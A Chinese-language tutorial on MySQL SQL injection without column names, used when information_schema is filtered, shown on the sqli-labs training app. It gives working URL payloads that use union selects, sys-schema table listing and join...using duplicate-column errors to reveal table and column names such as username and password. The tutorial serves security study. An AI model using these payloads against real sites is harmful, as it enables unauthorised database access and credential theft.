无列名注入

27

如果 information_schema 库被过滤, 那么就需要用到其他库来注入, 例如: sys.schema_auto_increment_columns, sys.schema_table_statistics_with_buffer, mysql.innodb_table_stats等等

但是这些表都不能获得列名等, 只能获得表名

于是就会用到无列名注入

原理

无列名注入的原理是通过子查询连接查询两个相同的表, 数据库会建立一个虚拟表, 将两个表的查询数据放入, 当放入一个虚拟表中已有的列名时就会报错

使用 join...using 来实现, using 的作用是排除列名

例如下面语句

select * from (select * from users u1 join users u2) a;

执行这个数据时就会报列名重复, 例如:

Duplicate column name 'id'

然后就可以通过 using 来排除这个 id, 继续爆出其他的列名

select * from (select * from users u1 join users u2 using(id)) a;

以此类推来爆出所有的列名

实践

以 sqli-labs 第一关为例, 假设其过滤了 information_schema

获取表名

使用 order by 获取列数

?id=1' order by 3--+

确定列数后就可以使用 union 来获取数据库名

?id=-1' union select 1,database(),3--+

接下来就库名通过数据库名查表名

?id=-1' union select 1,group_concat(table_name),3 from sys.schema_auto_increment_columns--+

结果如下:

uagents,referers,users,emails,guestbook

获取列名

接下来就针对 users 表注入

获取第一个列名

?id=-1' union select * from (select * from users u1 join users u2)u--+

结果为:

Duplicate column name 'id'

然后过滤 id, 获取下一个列名

?id=-1' union select * from (select * from users u1 join users u2 using(id))u--+

结果:

Duplicate column name 'username'

最后:

?id=-1' union select * from (select * from users u1 join users u2 using(id, username))u--+

获取到最后一个列名

Duplicate column name 'password'